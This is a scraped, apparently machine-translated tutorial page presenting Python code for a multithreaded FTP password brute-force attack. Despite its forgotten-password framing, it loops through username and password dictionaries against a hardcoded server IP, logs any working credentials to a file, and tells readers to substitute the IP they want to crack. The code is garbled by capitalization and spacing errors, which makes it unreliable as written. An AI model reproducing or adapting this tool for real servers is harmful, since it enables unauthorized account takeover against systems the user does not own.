Forget the FTP password use Python ftplib library brute force crack password Method Example _python

Source: Internet
Author: User
Tags readline

Python's specific powerful library files, many functions have corresponding library files, so it is necessary to learn, which has an FTP corresponding library file Ftplib, we only need the login function, and then use multithreading to call the corresponding dictionary inside the field to login, but also according to their own needs, According to their own situation to write the necessary procedures, so that the program instead of us to do some tedious duplication of work.

The following is directly on the code, the following is the main file

Copy Code code as follows:

Import OS
Import time
Import threading

Class Mythread (threading. Thread):
def __init__ (Self,command):
Threading. Thread.__init__ (self)
Self.command=command
def run (self):
Kk=os.system (Self.command)
Ushand=open ("User.txt", "R")
Pshand=open ("Passwd.txt", "R")
Listuser=[]
Listpass=[]
For us in open ("User.txt", "R"):
Lineus=ushand.readline (). strip (' \ n ')
Listuser.append (Lineus)
For PS in open ("Passwd.txt", "R"):
Lineps=pshand.readline (). strip (' \ n ')
Listpass.append (Lineps)
For I in Listuser:
For J in Listpass:
Command= "ftp.py%s"% (I,J)
Print command
My_thread=mythread (command)
My_thread.start ()
Time.sleep (0.1)

The code in the corresponding ftp.py file is as follows

Copy Code code as follows:

Import Ftplib
Import socket
Import Sys
Ftp=ftplib. FTP (' 121.54.175.204′ ')
Try
USER=SYS.ARGV[1]
PASSWD=SYS.ARGV[2]
Ftp.login (USER,PASSWD)
Hand=open (' Aa.txt ', ' A + ')
Hand.write (user+ ":" +passwd+ "\ n")
Except Ftplib.error_perm:
Print "passwd is World"


Two files are required, respectively, User.txt and Passwd.txt, which are the user name and account dictionary.

Code in which the FTP cracked IP can be modified to their own to crack the IP, the last correct account and password will be entered into the Aa.txt file.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.